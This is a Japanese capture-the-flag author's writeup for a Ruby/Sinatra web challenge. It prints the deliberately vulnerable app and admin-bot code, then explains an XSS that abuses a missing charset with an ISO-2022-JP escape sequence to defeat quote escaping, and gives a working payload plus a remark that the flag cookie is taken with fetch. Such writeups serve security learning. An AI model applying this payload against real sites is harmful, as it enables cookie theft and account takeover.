SatokiCTF Chahan 作問者Writeup
SatokiCTF
2024-08-26 - 2024-08-27の期間に開催された、@satokiの誕生日を記念するCTFで作問した問題のWriteupを今更ですが公開します。
改めて誕生日おめでとうございます。
Chahan
問題はRubyで実装されたWebアプリケーションで、「seed
を元にFakerで生成された名前をAdminに自慢できる」というコンセプト。
また、ダークテーマも一応実装されている。
サーバは以下の実装
require 'sinatra'
require 'sinatra/reloader' if development?
require 'faker'
require 'net/http'
require 'uri'
get '/' do
@theme = sanitize_string(params['theme'] || 'light')
headers 'Content-Type' => 'text/html'
erb :index
end
get '/generate' do
@seed = sanitize_string params['seed']
Faker::Config.random = Random.new(@seed.to_i)
@theme = sanitize_string(params['theme'] || 'light')
@name = Faker::Name.name
headers 'Content-Type' => 'text/html'
erb :generate
end
post '/report' do
url = params['url']
uri = URI.parse(url)
if uri.host == ENV['APP_HOST'] || "#{uri.host}:#{uri.port}" == ENV['APP_HOST']
admin_uri = URI.parse('http://admin:4000/open')
response = Net::HTTP.post_form(admin_uri, 'url' => url)
if response.code.to_i == 200
"Boasted successfully"
else
"Failed to boast"
end
else
puts uri.host
"Invalid URL"
end
end
def sanitize_string(s)
s.gsub(/\\/){'\\\\'}
.gsub(/"/){'\\"'}
.gsub(/</){'<'}
.gsub(/>/){'>'}
end
generate
に使用されるテンプレートは以下
<!DOCTYPE html>
<html lang="en">
<head>
<title>Generated Name</title>
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div class="container">
<h1>Generated Name: <%= CGI.escapeHTML @name.to_s %></h1>
<h2>Seed: <%= CGI.escapeHTML @seed.to_s %></h2>
<form action="/report" method="post">
<input type="hidden" name="url" value="<%= request.url %>">
<button type="submit">Boast to Admin</button>
</form>
</div>
<script src="/purify.min.js"></script>
<script>
var theme = DOMPurify.sanitize("<%= @theme %>");
</script>
<script src="/theme.js"></script>
</body>
</html>
ダークテーマへの対応はクライアントサイドで以下のコードによって行われている。
document.addEventListener("DOMContentLoaded", function() {
if (theme === "dark") {
document.body.classList.add("dark");
}
});
report
のエンドポイントで動くのは以下のコード
require 'sinatra'
require 'selenium-webdriver'
require 'uri'
set :port, 4000
post '/open' do
url = URI.parse(params['url'])
if url.host == 'localhost'
url.host = 'web'
end
options = ::Selenium::WebDriver::Chrome::Options.new(args: [
'--no-sandbox',
'--headless',
'--disable-gpu',
'--disable-dev-shm-usage',
'--window-size=1920,1080'
])
driver = Selenium::WebDriver.for(:chrome, options: options)
driver.navigate.to "http://web:4567/"
driver.manage.add_cookie(name: 'flag', value: ENV['FLAG'], domain: 'web')
begin
driver.navigate.to url
"#{url} visited"
rescue => e
status 400
"Error: #{e.message}"
ensure
sleep 3
driver.quit
end
end
よって、reportの画面でXSSを行い、Cookieを窃取するのが目標となる
しかし、任意の値を入れられるseed
は
<h2>Seed: <%= CGI.escapeHTML @seed.to_s %></h2>
のようにCGI.escapeHTML
が行われているほか、theme
についても
var theme = DOMPurify.sanitize("<%= @theme %>");
DOMPurifyでPurifyされている。
そして、そこに入る文字列についても以下のコードで<>"\
がエスケープされている。
def sanitize_string(s)
s.gsub(/\\/){'\\\\'}
.gsub(/"/){'\\"'}
.gsub(/</){'<'}
.gsub(/>/){'>'}
end
解法
キモはこれ
headers 'Content-Type' => 'text/html'
今回、Content-Type
にtext/html
を設定するコードを書いていて、一見普通に見えるが、charset
の指定をしていないのが問題となる。
詳しくはこちらの記事を参照してください。
この記事よりうまく説明できる気がしないけど軽く説明しておくと、charset
が設定されていない場合、ブラウザは内容から推測を行う挙動になっていて、ISO-2022-JP
という、escape sequenceによってASCIIとJIS X 0201 1976, JIS X 0208 1978, JIS X 0208 1983を切り替えられるおもしろ文字コードを使って\
を¥
にすることでエスケープが回避できる。というものです。
という訳で、XSSを引き起こすのは/generate?seed=%1b(J&theme=");alert(1);//
のようなペイロードになります。
これにより、
<!DOCTYPE html>
<html lang="en">
<head>
<title>Generated Name</title>
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div class="container">
<h1>Generated Name: <%= CGI.escapeHTML @name.to_s %></h1>
<!-- 以下に %1b(J が入ることで、ISO-2022-JPとして認識された上でJIS X 0201 1976へと切り替わる -->
<h2>Seed: <%= CGI.escapeHTML @seed.to_s %></h2>
<form action="/report" method="post">
<input type="hidden" name="url" value="<%= request.url %>">
<button type="submit">Boast to Admin</button>
</form>
</div>
<script src="/purify.min.js"></script>
<!-- 以下の行の@themeには ");alert(1);// が入るが、JIS X 0201 1976に切り替わっているため、 " のエスケープに失敗する。 -->
<script>
var theme = DOMPurify.sanitize("<%= @theme %>");
</script>
<!-- 結果、以下のようなコードになり、XSSが発火する -->
<script>
var theme = DOMPurify.sanitize("¥")+alert(1);//");
</script>
<script src="/theme.js"></script>
</body>
</html>
あとはfetchでCookie取るだけです。
他Writeup
2Solveでした。
記事を見て問題にしたら同時に裏でやってたCTFで同じネタが出たらしいです。2Solveだけどヒント出さなくて良かったな。本当に危ない。
開催中に解いてくださった方のWriteupを紹介します。
https://zenn.dev/tchen/articles/7b5b35831d658a#chahan-(300pts-2-solves)
こちらは想定解法です。ImaginaryCTFで出てたのもSekaiCTFで出てたのもこの記事で知りました…
https://qiita.com/sa_hm490/items/43fb28d52322943547ad#web-chahan-300pts
こちらは非想定解法ですが、これも同じくらいのタイミングにXで話題になっていたcontentvisibilityautostatechange
を使用しています。良い。
感想
おそらく初めてWeb問を作ったんじゃないかという気がしますが、難しかったです。ネタは面白いと思っているけど、非想定解を潰すのが大変だった(@st98さん、@satokiさん、その節はお世話になりました)。
Web問のインフラリソースも結構難しい事がわかりました。Pwnみたいに雑に動かしてはいけない。
あとはトレンドっぽいネタを出す時は気をつけようと思いました。
終わりに
この記事はCTF Advent Calendar 2024およびn01e0 Advent Calendar 2024の17日目の記事とします。
Comments